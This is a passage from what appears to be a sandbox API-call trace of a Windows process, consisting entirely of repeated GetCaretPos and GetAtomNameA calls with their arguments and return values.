lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.577] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.577] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.578] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.578] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.579] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.579] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.580] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.580] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.581] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.581] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.582] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.582] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.583] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.583] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.584] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.584] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.585] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.585] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.586] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.586] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.588] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.588] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.589] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.589] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.590] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.590] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.591] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.591] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.592] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.592] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.593] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.593] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0041.594] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0041.594] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) 